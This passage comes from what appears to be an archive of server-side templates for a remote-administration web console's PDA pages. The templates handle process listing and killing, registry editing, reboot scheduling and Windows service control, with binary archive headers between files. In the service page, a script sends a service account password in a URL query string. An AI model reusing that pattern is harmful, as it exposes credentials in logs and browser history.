<input type="button" value="&DIALOG.Apply&" onclick="window.location='&TEMPLATE&?pid=&REQ.PID&&priority='+priority.options[priority.selectedIndex].value+'&cnt=<?&REQ.CNT?>'">
<input type="button" value="&DIALOG.Back&" onclick="window.location='<?if REQ.BACK?>$REQ.BACK$<?else?>pda_proclist.html?cnt=<?&REQ.CNT?><?endif?>'">
</center><br>

<?endif // WINERNUM?>

</div>
</body>
</html>
60"PDA_proclist.html'~<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head>
<?include "title.inc"?>
</head>

<body>
<?
if REQ.CTRL="kill" // need to kill process?
action "prockill"
usemacro WINERRDLG()
endif
set REQ.SORT = "n"
usemacro LINECOUNT()
action "proclist" // list processes
usemacro WINERRDLG()
?>

<table bgColor=&PDATITLEBG& cellpadding="0" cellspacing="0" border=0 width="100%"><tr>
<td valign="center"><img src="img/menu_manage.png?bg=%PDATITLEBG%" align="middle">&nbsp;<b><FONT color=white><?&ADMIN.PROCESS.TITLE?></FONT></b></td>
<td align=right><?usemacro PDANAV()?></td>
</tr></table>

<table id="plist" border="1" cellpadding="2" cellspacing="0" width="100%" align=center>
<thead>
<tr bgcolor="#2a669a">
<th><b><FONT color=white><?&ADMIN.PROCESS.PID?></FONT></b></th>
<th><b><FONT color=white><?&NAME?></FONT></b></th>
<th><b><FONT color=white><?&ADMIN.PROCESS.MEM?></FONT></b></th>	
</tr>
</thead>
<tbody>
<?enum PROCESSES?>
<tr>
<td nowrap align="center"><font size=0><?&PROC.ID?></font></td>
<td nowrap><font size=0><?if PROC.ID > 0?><a href="PDA_procinfo.html?pid=%PROC.ID%&%RND%"><?&PROC.NAME?></a><?else?><?&PROC.NAME?><?endif?></font></td>
<td nowrap align="right"><font size=0><?&PROC.MEMORY _szk?></font></td>
</tr>
<?next?>
</tbody>
</table>
</body>
</html>
425*PDA_reglistLight.html7pF<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head>
<?include "title.inc"?>
</head>

<body>
<?
if REQ.OP
if not REQ.CANCEL
action "regedit"
usemacro WINERRDLG()
endif
endif
action "reglist"
usemacro WINERRDLG()
?>
<script language="JavaScript">
function indent(level) {
if (level>1) {
document.write('<img src="img/menu_blank.gif?bg=%COLOR.DlgBack%" width="' + ((level-1)*18) + '" height="18" border="0" align="absbottom">');
}
}
parent.values.location = 'PDA_regvalues.html?key=' + escape('$KEY.PATH$') + '&$RND$'
</script>


<table bgColor=#2a669a cellpadding="0" cellspacing="0" border=0 width="100%"><tr>
<td valign="center"><img src="img/menu_registry.gif" align="middle">&nbsp;<b><FONT color=white>
<?&ADMIN.REGISTRY.TITLE?></FONT></b></td>
<td align=right><?usemacro PDANAV()?></td></tr>
</table>


<?if not KEYS
redirect TEMPLATE "?key=" PARENT.PATH
endif?>

<div>
<?if REQ.ADDKEY?>
<center><br>
<form action="&TEMPLATE&" method="get">
\<?&KEY.PATH?>\<br><br>
<input type="hidden" name="op" value="addkey">
<input type="hidden" name="key" value="&KEY.PATH&">
<?&ADMIN.REGISTRY.NEWKEY?>:&nbsp;<input type="text" name="name" size="15"><br><br>
<input type="submit" name="submit" value="&MSG.DIALOG.Apply&">
<input type="submit" name="cancel" value="&MSG.DIALOG.Cancel&">
</form>
</center>
<?else?>
<table align=center>
<a href="&TEMPLATE&?%RND%"><img src="img/menu_script.png?bg=%COLOR.MenuBack%" align="absbottom" border="0">&nbsp;<?&SRVNAME?></a><br>
<?enum PATH?>
<script language="JavaScript">
indent(=ENUM.INDEX=);
</script>
<a href="&TEMPLATE&?key=%PATH.PARENT%&%RND%"><img src="img/menu_Lminus.gif" width="18" height="18"
align="absbottom" border="0"></a><a href="&TEMPLATE&?key=%PATH.FULL%&%RND%"><img src="img/menu_openfolder.gif"
width="16" height="16" align="absbottom" border="0">&nbsp;<?&PATH.PART?></a><br>
<?set PATH.PARENT=PATH.FULL?>
<?next?>

<?if KEYS?>
<?enum KEYS?>
<?if ENUM.INDEX=ENUM.COUNT?><?set T="L"?><?else?><?set T="T"?><?endif?>
<script language="JavaScript">
indent(=PATH=+1);
</script>
<?if KEY.KEYS?>
<a href="&TEMPLATE&?key=%KEY.PATH%"><img src="img/menu_&T&plus.gif" width="18" height="18" border="0"></a>
<a href="PDA_regvalues.html?key=%KEY.PATH%"><img src="img/menu_folder.gif" width="16" height="16" border="0">&nbsp;<?&KEY.NAME?></a>
<?else?>
<img src="img/menu_&T&.gif" width="18" height="18">
<a href="PDA_regvalues.html?key=%KEY.PATH%"><img src="img/menu_folder.gif" width="16" height="16" border="0">&nbsp;<?&KEY.NAME?></a>
<?endif?>
<br>
<?next?>
<?endif?>
</table>
<?if REQ.key?><?if not REQ.key=""?>
<br><center><input type="button" value="&ADMIN.REGISTRY.NEWKEY&" onclick="window.location='&TEMPLATE&?key=%KEY.PATH%&addkey=1'" ID="Button1" NAME="Button1"></center>
<?endif?><?endif?>
<?endif?>
</div>
</body>
</html>
u#(PDA_regvaluePDA.html{Lm<?ratmpl?>
<?
nocache
include "macros.html"
if REQ.OP
action "regedit"
endif
?>
<html>
<head>
<?include "title.inc"?>
</head>

<body>


<table bgColor=#2a669a cellpadding="0" cellspacing="0" border=0 width="100%"><tr>
<td valign="center"><img src="img/menu_registry.gif" align="middle">&nbsp;<b><FONT color=white>
<?if REQ.NAME?>&REQ.NAME&<?else?>&ADMIN.REGISTRY.NEWVAL&<?endif?></FONT></b></td>
<td align=right><?usemacro PDANAV()?></td></tr>
</table>

<form name="keyform" action="PDA_regvalues.html" method="get"> 
<center>
<input type="hidden" name="op" value="setval"> 
<input type="hidden" name="key" value="&REQ.KEY&">
<table style="border:0">
<tr>
<td align="right">Name:</td><td><input type="text" name="name" size="20" value="&REQ.NAME&"></td>
</tr><tr>
<td align="right">Type:</td><td>
<select name="type" size="1"> 
<option value="REG_DWORD" <?if REQ.TYPE="REG_DWORD"?>selected<?endif?>>REG_DWORD</option> 
<option value="REG_SZ" <?if REQ.TYPE="REG_SZ"?>selected<?endif?>>REG_SZ</option> 
<option value="REG_EXPAND_SZ" <?if REQ.TYPE="REG_EXPAND_SZ"?>selected<?endif?>>REG_EXPAND_SZ</option> 
<option value="REG_MULTI_SZ" <?if REQ.TYPE="REG_MULTI_SZ"?>selected<?endif?>>REG_MULTI_SZ</option> 
</select></td>
</tr><tr>
<td align="right">Value:</td><td><input type="text" name="data" size="20" value="&REQ.VAL&"></td>
</tr></table><br>
<input type="submit" value="<?&DIALOG.OK?>"> 
<input type="button" value="<?&DIALOG.Back?>" onclick="history.back()">
<?if REQ.NAME?><input type="submit" value="<?&DIALOG.DELETE?>" onclick="op.value='delval';return true;"><?endif?>
</center>
</form> 
</body>
</html>
$PDA_regvalues.htmlj<?ratmpl?>
<?
nocache
include "macros.html"
if REQ.OP
action "regedit"
endif
?>
<html>
<head>
<?include "title.inc"?>
</head>

<body>
<?
usemacro WINERRDLG()
if REQ.KEY
action "reglist"
usemacro WINERRDLG()
?>
<table bgColor=#2a669a cellpadding="0" cellspacing="0" border=0 width="100%"><tr>
<td valign="center"><img src="img/menu_registry.gif" align="middle">&nbsp;<b><FONT color=white>
<?&KEY.NAME?></FONT></b></td>
<td align=right><?usemacro PDANAV()?></td></tr>
</table>

<?if VALUES?>
<script language="JavaScript">
<?enum VALUES?>
knames[i]	= "$VALUE.NAME$";
ktypes[i]	= "$VALUE.TYPE$";
kvalues[i]  = <?if VALUE.TYPE="REG_BINARY"?>""<?else?>"$VALUE.DATA$"<?endif?>;
i++; <?next?>
</script>
<div id="infoArea" style="overflow-y:auto;width:96%;height:expression(document.body.clientHeight-infoArea.offsetTop-16);">
<table id="plist" width="100%" onselectstart="return false" onclick="setTimeout('enableButtons()',10)" cellpadding="2">
<thead>
<tr>
<th><?&MSG.NAME?></th>
<th><?&MSG.TYPE?></th>
<th><?&MSG.VALUE?></th>
</tr>
</thead>
<tbody>
<?enum VALUES?>
<tr valign="top" ondblclick="showValue()">
<td>
<a href="PDA_regvaluePDA.html?key=%REQ.KEY%&name=%VALUE.NAME%&type=%VALUE.TYPE%&val=%VALUE.DATA%">
<?if VALUE.NAME?>&VALUE.NAME&<?else?>(&MSG.DEFAULT&)<?endif?></a>
</td>
<td>&VALUE.TYPE& (&VALUE.SIZE&)</td>
<?if VALUE.TYPE has "DWORD" // numeric value?>
<td><?&VALUE.DATA?> (<tt>0x<?&VALUE.DATA_hex8?></tt>)</td>
<?elseif VALUE.TYPE has "QWORD"?>
<td><?&VALUE.DATA?> (<tt>0x<?&VALUE.DATA_hex16?></tt>)</td>
<?else?>
<td><?if VALUE.DATA?><?&VALUE.DATA _mx50?><?else?><?&MSG.CONFIG.NA?><?endif?></td>
<?endif?>
</tr>
<?next?>
</tbody>
</table>
<script type="text/javascript">
// SELECTABLE TABLE OBJECT
var trows = new SelectableTableRows(document.getElementById("plist"), false);
</script>
</div>
<?endif?>
<br><center>
<input type="button" value="&ADMIN.REGISTRY.NEWVAL&" onclick="window.location='PDA_regvaluePDA.html?key=%REQ.KEY%'">
<input type="button" value="&DIALOG.BACK&" onclick="window.location='PDA_reglistLight.html?key=%REQ.KEY%'"></center>

</body>
</html>
X PDA_restart.html	<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head>
<?include "title.inc"?>
<script language="JavaScript">
function restart(type) {
var msg = "";
if (type == "ra") msg = "$MSG.ADMIN.REBOOT.RESTARTTITLE$";
if (type == "normal") msg = "$MSG.ADMIN.REBOOT.NORMALTITLE$";
if (type == "emergency") msg = "$MSG.ADMIN.REBOOT.EMERGENCYTITLE$";
if (type == "cold") msg = "$MSG.ADMIN.REBOOT.HARDTITLE$";
if (confirm(msg + '\n$MSG.DIALOG.MAKESURE$')) {
window.location.replace("$TEMPLATE$?type=" + type + "&$RND$");
}
}
</script>
</head>

<body>

<?
if REQ.TYPE
action "restart"
if WINERRNUM
usemacro WINERRDLG()
elseif IsViaWebSvc and HTTP.REFERRER
redirect HTTP.REFERRER
elseif REQ.TYPE = "ra"
redirect "/default.html?logout=yes&reason=restart"
else
redirect "/default.html?logout=yes&reason=reboot"
endif
endif
?>


<table bgColor=#2a669a cellpadding="0" cellspacing="0" border=0 width="100%"><tr>
<td valign="center"><img src="img/menu_manage.png?bg=%COLOR.CapBack%" align="middle">&nbsp;<b><FONT color=white><?&MSG.ADMIN.REBOOT.TITLE?></FONT></b></td>
<td align=right><?usemacro PDANAV()?></td>
</tr></table>

<center>
<?action "rebootat" // get time of next scheduled reboot if any?>
<?if REBOOTAT.TIME?><p><b><a href="PDA_restartAt.html">&MSG.ADMIN.REBOOTAT.TIME&</a></b></p><?endif?>
<table>
<tr>
<td align="center" valign="top" class="buttonGroupBig" width="10%">
<a href="javascript:restart('ra')">
<img src=<?if BRAND.LOGMEIN?>"img/ico_restart_lmi.png?bg=%COLOR.DlgBack%"<?else?>"img/ico_restart.png?bg=%COLOR.DlgBack%"<?endif?> border="0">
</a>&nbsp;
</td>
<td align="left" style="padding-right:10px">
<a href="javascript:restart('ra')"><b><?&MSG.ADMIN.REBOOT.RESTARTTITLE?></b></a>
<br><br>
</td>
</tr>
<tr>
<td align="center" valign="top" class="buttonGroupBig">
<a href="javascript:restart('normal')"><img src="img/ico_Reboot1.png?bg=%COLOR.DlgBack%" border="0"></a>&nbsp;
</td>
<td align="left" style="padding-right:10px">
<a href="javascript:restart('normal')"><b><?&MSG.ADMIN.REBOOT.NORMALTITLE?></b></a>
<br><br>
</td>
</tr>
<tr>
<td align="center" valign="top" class="buttonGroupBig">
<a href="javascript:restart('emergency')"><img src="img/ico_Reboot2.png?bg=%COLOR.DlgBack%" border="0"></a>&nbsp;
</td>
<td align="left" style="padding-right:10px">
<a href="javascript:restart('emergency')"><b><?&MSG.ADMIN.REBOOT.EMERGENCYTITLE?></b></a>
<br><br>
</td>
</tr>
<?if ISNT?>
<tr>
<td align="center" valign="top" class="buttonGroupBig">
<a href="javascript:restart('cold')"><img src="img/ico_Reboot3.png?bg=%COLOR.DlgBack%" border="0"></a>&nbsp;
</td>
<td align="left" style="padding-right:10px">
<a href="javascript:restart('cold')"><b><?&MSG.ADMIN.REBOOT.HARDTITLE?></b></a>
<br><br>
</td>
</tr>
<?endif // ISNT?>
<tr>
<td align="center" valign="top" class="buttonGroupBig">
<a href="PDA_restartat.html?%RND%"><img src="img/ico_RebootAt.png?bg=%COLOR.DlgBack%" border="0"></a>&nbsp;
</td>
<td align="left" style="padding-right:10px">
<a href="PDA_restartat.html?%RND%"><b><?&MSG.ADMIN.REBOOTAT.TITLE?></b></a>
<br><br>
</td>
</tr>
</table><br>
<br><?if REBOOTAT.TIME?><p><b><a href="PDA_restartAt.html">&MSG.ADMIN.REBOOTAT.TIME&</a></b></p><br><?endif?>
</center>

</body>
</html>
#F|$PDA_restartat.html̀<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head>
<?include "title.inc"?>
</head>

<?	action "rebootat"?>
<body onload="dispExcl(&REBOOTAT.TYPE&)">

<script type="text/javascript">
function dispExcl( selset ) {
var tds = document.getElementsByTagName( 'div' );
for( var i=1; i<tds.length; i++) {
if ( tds.item(i).id.substring(0,3) == "set" )
winShow( tds.item(i).id, (tds.item(i).id.substring(3,4) == selset) );
}
}
</script>

<?
usemacro WINERRDLG()
if not WINERRNUM
if REQ.OP
redirect "/pda_restart.html"
endif
endif
?>

<table bgColor=#2a669a cellpadding="0" cellspacing="0" border=0 width="100%"<tr>
<td valign="center"><img src="img/menu_manage.png?bg=%COLOR.CapBack%" align="middle">&nbsp;<b><FONT color=white><?&ADMIN.REBOOT.TITLE?></FONT></b></td>
<td align=right><?usemacro PDANAV()?></td></tr>
</table>

<center>
<form name="sched" action="&TEMPLATE&" method="post">
<?if REBOOTAT.TIME?>
&MSG.ADMIN.REBOOTAT.TIME&<br>
<?if REBOOTAT.FORCE?>&MSG.ADMIN.REBOOTAT.FORCED&<br><br><?endif?>
<?if REBOOTAT.USER?>&MSG.ADMIN.REBOOTAT.USER&<br><br><?endif?>
<input type="submit" value="&DIALOG.DELETE&" onclick="op.value='clr'">
<br>
<?endif?>

<?action "timehelp" // set helper arrays?>
<?action "timeget" // get current time?>

<select onchange="dispExcl(this.selectedIndex)" name="type" size=5>
<option value="0" <?selected REBOOTAT.TYPE="0"?>><?&MSG.ADMIN.SCHEDULE.TRIGGER.once?></option>
<option value="1" <?selected REBOOTAT.TYPE="1"?>><?&MSG.ADMIN.SCHEDULE.TRIGGER.daily?></option>
<option value="2" <?selected REBOOTAT.TYPE="2"?>><?&MSG.ADMIN.SCHEDULE.TRIGGER.weekly?></option>
<option value="3" <?selected REBOOTAT.TYPE="3"?>><?&MSG.ADMIN.SCHEDULE.TRIGGER.monthlyd?></option>
<option value="4" <?selected REBOOTAT.TYPE="4"?>><?&MSG.ADMIN.SCHEDULE.TRIGGER.monthlyw?></option>
</select>

<input type="submit" value="Set schedule" onclick="sched.action='PDA_restartAtPDA.html'">

<table><tr>
<td align="right" width="35%">&MSG.ADMIN.TIME.TITLE&:</td>
<td>
<?if REBOOTAT.TIME?>
<select name="timeh" size="1"><?enum HOD?><option <?selected HOD.HH=REBOOTAT.TIME.H?>>&HOD.HH&<?next?></select>
:
<select name="timem" size="1"><?enum MOH?><option <?selected MOH.MM=REBOOTAT.TIME.M?>>&MOH.MM&<?next?></select>
<?else?>
<select name="timeh" size="1"><?enum HOD?><option <?selected HOD.HH=TIME.H?>>&HOD.HH&<?next?></select>
:
<select name="timem" size="1"><?enum MOH?><option <?selected MOH.MM=TIME.M?>>&MOH.MM&<?next?></select>
<?endif?>
</td>
</tr>
<tr>
<td colspan=2 align="center"><label for="force">&MSG.ADMIN.REBOOTAT.FORCE&:&nbsp;<input type="checkbox" id="force" name="force" <?checked REBOOTAT.FORCE?> value="1"></td>
</tr>
</table>

<center>
<input type="hidden" name="op" value="set">
<input type="submit" value="&DIALOG.APPLY&">
<input type="button" value="&DIALOG.BACK&" onclick="history.back()">
</center>
</form>
</center>
</body>
</html>
ԗ\*PDA_restartatPDA.html7 A<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head>
<?include "title.inc"?>
</head>

<?	action "rebootat"?>
<body onload="dispExcl(&REBOOTAT.TYPE&)">

<table bgColor=#2a669a cellpadding="0" cellspacing="0" border=0 width="100%"><tr>
<td valign="center"><img src=<?if UI="secrem"?>"img/ico_Rebootat.png?bg=%COLOR.DlgBack%"<?else?>"img/menu_manage.png?bg=%COLOR.CapBack%"<?endif?> align="middle">&nbsp;<b><FONT color=white><?&ADMIN.REBOOT.TITLE?></FONT></b></td>
<td align=right><?usemacro PDANAV()?></td>
</tr></table>

<center>
<form action="PDA_restartAt.html" method="post">

<?action "timehelp" // set helper arrays?>
<?action "timeget" // get current time?>

<?if REQ.Type=0?>
<table width="100%"><tr>
<td width="40%" align="right">&MSG.ADMIN.TIME.DATE&:</td>
<td>
<input type="text" name="datey" size=4 value="&DATE.Y&">
<select name="datem" size="1"><?enum MOY?><option value="&MOY.NN&" <?selected MOY.NN=DATE.M?>>&CAL:MOY.MON&<?next?></select>
<select name="dated" size="1"><?enum DOM?><option value="&DOM.NN&" <?selected DOM.NN=DATE.D?>>&DOM.NN&<?next?></select>
</td>
</tr></table>
<?endif?>
<?if REQ.Type=1?>
<table width="100%"><tr>
<td width="40%" align="right"><?&MSG.ADMIN.SCHEDULE.Every?></td>
<td>
<input type="text" name="daily" size=3 value="<?if REBOOTAT.TYPE=1?>&REBOOTAT.FREQTEXT&<?else?>1<?endif?>"> <?&MSG.ADMIN.SCHEDULE.xdays?>
</td>
</tr></table></center>
<?endif?>
<?if REQ.Type=2?>
<br>
<table><tr>
<td align="right" rowspan=4><?&MSG.ADMIN.SCHEDULE.Every?></td>
<td valign=top><input type="checkbox" name="sun2" <?checked REBOOTAT.FREQTEXT has "Sun"?>>&CAL.Sun&</td>
<td valign=top><input type="checkbox" name="mon2" <?checked REBOOTAT.FREQTEXT has "Mon"?>>&CAL.Mon&</td>
<td valign=top><input type="checkbox" name="tue2" <?checked REBOOTAT.FREQTEXT has "Tue"?>>&CAL.Tue&</td>
<tr><td valign=top><input type="checkbox" name="wed2" <?checked REBOOTAT.FREQTEXT has "Wed"?>>&CAL.Wed&</td></tr>
<td valign=top><input type="checkbox" name="thu2" <?checked REBOOTAT.FREQTEXT has "Thu"?>>&CAL.Thu&</td>
<td valign=top><input type="checkbox" name="fri2" <?checked REBOOTAT.FREQTEXT has "Fri"?>>&CAL.Fri&</td>
<tr><td valign=top><input type="checkbox" name="sat2" <?checked REBOOTAT.FREQTEXT has "Sat"?>>&CAL.Sat&</td>
</tr></table>
</div>
<?endif?>
<?if REQ.Type=3?>
<table width="100%"><tr>
<tr><td width="35%" align="right"><?&MSG.ADMIN.SCHEDULE.Every?></td></tr>
<tr>
<td><label for="d01"><input type="checkbox" id="d01" name="d01" <?checked REBOOTAT.FREQTEXT has "01"?>>01</label></td>
<td><label for="d02"><input type="checkbox" id="d02" name="d02" <?checked REBOOTAT.FREQTEXT has "02"?>>02</label></td>
<td><label for="d03"><input type="checkbox" id="d03" name="d03" <?checked REBOOTAT.FREQTEXT has "03"?>>03</label></td>
<td><label for="d04"><input type="checkbox" id="d04" name="d04" <?checked REBOOTAT.FREQTEXT has "04"?>>04</label></td>
<td><label for="d05"><input type="checkbox" id="d05" name="d05" <?checked REBOOTAT.FREQTEXT has "05"?>>05</label></td>
<td><label for="d06"><input type="checkbox" id="d06" name="d06" <?checked REBOOTAT.FREQTEXT has "06"?>>06</label></td>
<td><label for="d07"><input type="checkbox" id="d07" name="d07" <?checked REBOOTAT.FREQTEXT has "07"?>>07</label></td>
<td><label for="d08"><input type="checkbox" id="d08" name="d08" <?checked REBOOTAT.FREQTEXT has "08"?>>08</label></td>
</tr>
<tr>
<td><label for="d09"><input type="checkbox" id="d09" name="d09" <?checked REBOOTAT.FREQTEXT has "09"?>>09</label></td>
<td><label for="d10"><input type="checkbox" id="d10" name="d10" <?checked REBOOTAT.FREQTEXT has "10"?>>10</label></td>
<td><label for="d11"><input type="checkbox" id="d11" name="d11" <?checked REBOOTAT.FREQTEXT has "11"?>>11</label></td>
<td><label for="d12"><input type="checkbox" id="d12" name="d12" <?checked REBOOTAT.FREQTEXT has "12"?>>12</label></td>
<td><label for="d13"><input type="checkbox" id="d13" name="d13" <?checked REBOOTAT.FREQTEXT has "13"?>>13</label></td>
<td><label for="d14"><input type="checkbox" id="d14" name="d14" <?checked REBOOTAT.FREQTEXT has "14"?>>14</label></td>
<td><label for="d15"><input type="checkbox" id="d15" name="d15" <?checked REBOOTAT.FREQTEXT has "15"?>>15</label></td>
<td><label for="d16"><input type="checkbox" id="d16" name="d16" <?checked REBOOTAT.FREQTEXT has "16"?>>16</label></td>
</tr>
<tr>
<td><label for="d17"><input type="checkbox" id="d17" name="d17" <?checked REBOOTAT.FREQTEXT has "17"?>>17</label></td>
<td><label for="d18"><input type="checkbox" id="d18" name="d18" <?checked REBOOTAT.FREQTEXT has "18"?>>18</label></td>
<td><label for="d19"><input type="checkbox" id="d19" name="d19" <?checked REBOOTAT.FREQTEXT has "19"?>>19</label></td>
<td><label for="d20"><input type="checkbox" id="d20" name="d20" <?checked REBOOTAT.FREQTEXT has "20"?>>20</label></td>
<td><label for="d21"><input type="checkbox" id="d21" name="d21" <?checked REBOOTAT.FREQTEXT has "21"?>>21</label></td>
<td><label for="d22"><input type="checkbox" id="d22" name="d22" <?checked REBOOTAT.FREQTEXT has "22"?>>22</label></td>
<td><label for="d23"><input type="checkbox" id="d23" name="d23" <?checked REBOOTAT.FREQTEXT has "23"?>>23</label></td>
<td><label for="d24"><input type="checkbox" id="d24" name="d24" <?checked REBOOTAT.FREQTEXT has "24"?>>24</label></td>
</tr>
<tr>
<td><label for="d25"><input type="checkbox" id="d25" name="d25" <?checked REBOOTAT.FREQTEXT has "25"?>>25</label></td>
<td><label for="d26"><input type="checkbox" id="d26" name="d26" <?checked REBOOTAT.FREQTEXT has "26"?>>26</label></td>
<td><label for="d27"><input type="checkbox" id="d27" name="d27" <?checked REBOOTAT.FREQTEXT has "27"?>>27</label></td>
<td><label for="d28"><input type="checkbox" id="d28" name="d28" <?checked REBOOTAT.FREQTEXT has "28"?>>28</label></td>
<td><label for="d29"><input type="checkbox" id="d29" name="d29" <?checked REBOOTAT.FREQTEXT has "29"?>>29</label></td>
<td><label for="d30"><input type="checkbox" id="d30" name="d30" <?checked REBOOTAT.FREQTEXT has "30"?>>30</label></td>
<td><label for="d31"><input type="checkbox" id="d31" name="d31" <?checked REBOOTAT.FREQTEXT has "31"?>>31</label></td>
</tr>
</table>
<?endif?>
<?if REQ.Type=4?>
<table align=center width="100%" cellpadding=2 cellspacing=0 border=0><tr>
<tr>
<td align="right"><?&MSG.ADMIN.SCHEDULE.WOM.TITLE?>:</td>
<td colspan=4>
<select name="week">
<option value="0" <?selected REBOOTAT.FREQTEXT has "FIRST"?>>&MSG.ADMIN.SCHEDULE.WOM.1&</option>
<option value="1" <?selected REBOOTAT.FREQTEXT has "LAST"?> >&MSG.ADMIN.SCHEDULE.WOM.5&</option>
</select> <?&MSG.ADMIN.SCHEDULE.WOM.DESCR?></td>
</tr>
<tr><td><br></td></tr>
<tr valign=top>
<td><label for="sun4"><input type="checkbox" id="sun4" name="sun4" value="1" <?checked REBOOTAT.FREQTEXT has "Sun"?>>&CAL.Sun&</label></td>
<td><label for="mon4"><input type="checkbox" id="mon4" name="mon4" value="1" <?checked REBOOTAT.FREQTEXT has "Mon"?>>&CAL.Mon&</label></td>
<td><label for="tue4"><input type="checkbox" id="tue4" name="tue4" value="1" <?checked REBOOTAT.FREQTEXT has "Tue"?>>&CAL.Tue&</label></td>
<tr valign=top>
<td><label for="wed4"><input type="checkbox" id="wed4" name="wed4" value="1" <?checked REBOOTAT.FREQTEXT has "Wed"?>>&CAL.Wed&</label></td>
<td><label for="thu4"><input type="checkbox" id="thu4" name="thu4" value="1" <?checked REBOOTAT.FREQTEXT has "Thu"?>>&CAL.Thu&</label></td>
<td><label for="fri4"><input type="checkbox" id="fri4" name="fri4" value="1" <?checked REBOOTAT.FREQTEXT has "Fri"?>>&CAL.Fri&</label></td></tr>
<tr valign=top>
<td><label for="sat4"><input type="checkbox" id="sat4" name="sat4" value="1" <?checked REBOOTAT.FREQTEXT has "Sat"?>>&CAL.Sat&</label></td>
</tr>
</table>
<?endif?>
<center>
<br><br>
<input type="hidden" name="type"  value="&REQ.Type&">
<input type="hidden" name="force" value="&REQ.Force&">
<input type="hidden" name="timeh" value="&REQ.Timeh&">
<input type="hidden" name="timem" value="&REQ.Timem&">
<input type="hidden" name="op" value="set">
<input type="submit" value="&DIALOG.APPLY&">
<input type="button" value="&DIALOG.BACK&" onclick="history.back()">
</center>
</form>
</center>

</body>
</html>
2 PDA_service.html] <?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head>
<?include "title.inc"?>
<?include "passsave.inc"?>
</head>
<body>
<form>
<?
// need to restart?
if REQ.RESTART
// get service status
action "svcinfo"
// stopped already?
if SERVICE.STATUS = "stopped"
// start service
set REQ.CTRL = "start"
endif
endif

// need to control service?
if REQ.CTRL
if REQ.CTRL = "kill"
// get process id
action "svcinfo"
// kill process
action "prockill" REQ.PID = SERVICE.PROCID
usemacro WINERRDLG()
else
// if restarting, first need to stop
if REQ.CTRL = "restart"
set REQ.CTRL = "stop"
set REQ.RESTART = "yes"
endif
// send service control request
action "svcctrl"
usemacro WINERRDLG()
// set wait state
switch REQ.CTRL
case "stop"
set REQ.WAIT = "stopping"
case "start"
set REQ.WAIT = "starting"
case "pause"
set REQ.WAIT = "pausing"
case "continue"
set REQ.WAIT = "continuing"
endswitch
endif
elseif REQ.START // need to set service attribs?
action "svcupdate"
usemacro WINERRDLG()
endif

// request detailed service information
action "svcinfo"
usemacro WINERRDLG()

// if we are restarting and the service stopped too fast,
// start it immediately
if REQ.RESTART
if SERVICE.STATUS = "stopped"
redirect TEMPLATE "?svc=" SERVICE.NAME "&ctrl=start&" RND
endif
endif
?>
<script language="JavaScript">
function setValues() {
var form = document.forms[0];
<?if SERVICE.WHAT="svc"?>
if (form.sysaccount[1].checked && form.account.value.length==0 )
alert( "Please specify the account name." );
else if (form.sysaccount[1].checked && form.pass.value!=passconf.value )
alert( "$MSG.DIALOG.PWDMISMATCH$" );
else
<?endif?>{
var	url;
url = "&TEMPLATE&";
url += "?svc=" + escape("$SERVICE.NAME$");
url += "&start=" + form.startup.options[form.startup.selectedIndex].value;
<?if SERVICE.WHAT="svc"?>
url += (form.sysaccount[0].checked ? "&interactive=" + (form.interactive.checked ? "1" : "0") : "");
url += "&user=" + (form.sysaccount[0].checked ? "LocalSystem" : form.account.value);
url += (form.sysaccount[1].checked ? "&pass=" + form.pass.value : "");
<?endif?>
url += "&what=$SERVICE.WHAT$&idx=$REQ.IDX$&%RND%";
window.location.replace(url);
}
}
function svcCtrl(type) {
if (type == "kill" && !confirm('$MSG.ADMIN.PROCESS.KILL$\n$MSG.DIALOG.MAKESURE$')) {
return;
}
var	url = "&TEMPLATE&?svc=" + escape("$SERVICE.NAME$");
url += "&ctrl=" + type;
url += "&what=$SERVICE.WHAT$&idx=$REQ.IDX$&%RND%";
window.location.replace(url);
}
</script>

<table bgColor=#2a669a cellpadding="0" cellspacing="0" border=0 width="100%"><tr>
<td valign="center"><img src="img/menu_manage.png?bg=%COLOR.CapBack%" align="middle">&nbsp;<b><FONT color=white><?&SERVICE.DISPLAY_mx20?></FONT></b></td>
<td align=right><?usemacro PDANAV()?></td>
</tr></table>

<div class="buttonBar" align=center>
<div class="buttonGroup">
<?if SERVICE.ACCEPT has "start"   ?><a href="javascript:svcCtrl('start')"  ><img src="img/ico_start.gif"   border="0" title="&MSG.ADMIN.SERVICE.TIP.START&"  ></a><?else?><img src="img/ico_start_off.gif"   border="0"><?endif?>
<?if SERVICE.ACCEPT has "stop"    ?><a href="javascript:svcCtrl('stop')"   ><img src="img/ico_stop.gif"    border="0" title="&MSG.ADMIN.SERVICE.TIP.STOP&"   ></a><?else?><img src="img/ico_stop_off.gif"    border="0"><?endif?>
<?if SERVICE.ACCEPT has "pause"   ?><a href="javascript:svcCtrl('pause')"  ><img src="img/ico_pause.gif"   border="0" title="&MSG.ADMIN.SERVICE.TIP.PAUSE&"  ></a><?elseif SERVICE.ACCEPT has "continue"?><a href="javascript:svcCtrl('continue')"><img src="img/ico_start.gif" border="0" title="&MSG.ADMIN.SERVICE.TIP.CONT&"></a><?else?><img src="img/ico_pause_off.gif" border="0"><?endif?>
<?if SERVICE.ACCEPT has "stop"    ?><a href="javascript:svcCtrl('restart')"><img src="img/ico_restart.gif" border="0" title="&MSG.ADMIN.SERVICE.TIP.RESTART&"></a><?else?><img src="img/ico_restart_off.gif" border="0"><?endif?>
<?if SERVICE.STATUS != "stopped"  ?><a href="javascript:svcCtrl('kill')"   ><img src="img/ico_kill.gif"    border="0" title="&MSG.ADMIN.PROCESS.KILL&"       ></a><?else?><img src="img/ico_kill_off.gif"    border="0"><?endif?>
</div>
</div>

<?if SERVICE.STATUS = REQ.WAIT?>
<div class="clientArea">
<center>
<h1><?&MSG.DIALOG.WAIT?></h1>
<?&SERVICE.DISPLAY?><br>
<?&MSG.ADMIN.SERVICE.STATUS:SERVICE.STATUS?><br>
&nbsp;<br>
<input type="button" value="&MSG.DIALOG.BACK&" onclick="window.location.replace('$TEMPLATE$?svc=' + escape('$SERVICE.NAME$') + '&$RND$')"><br>
&nbsp;<br>
</center>
</div>
<script language="JavaScript">
setTimeout("check()", 3000);
function check() {
var	url = "$TEMPLATE$?svc=" + escape("$SERVICE.NAME$");
url += "&wait=$REQ.WAIT$";
url += "&restart=$REQ.RESTART$";
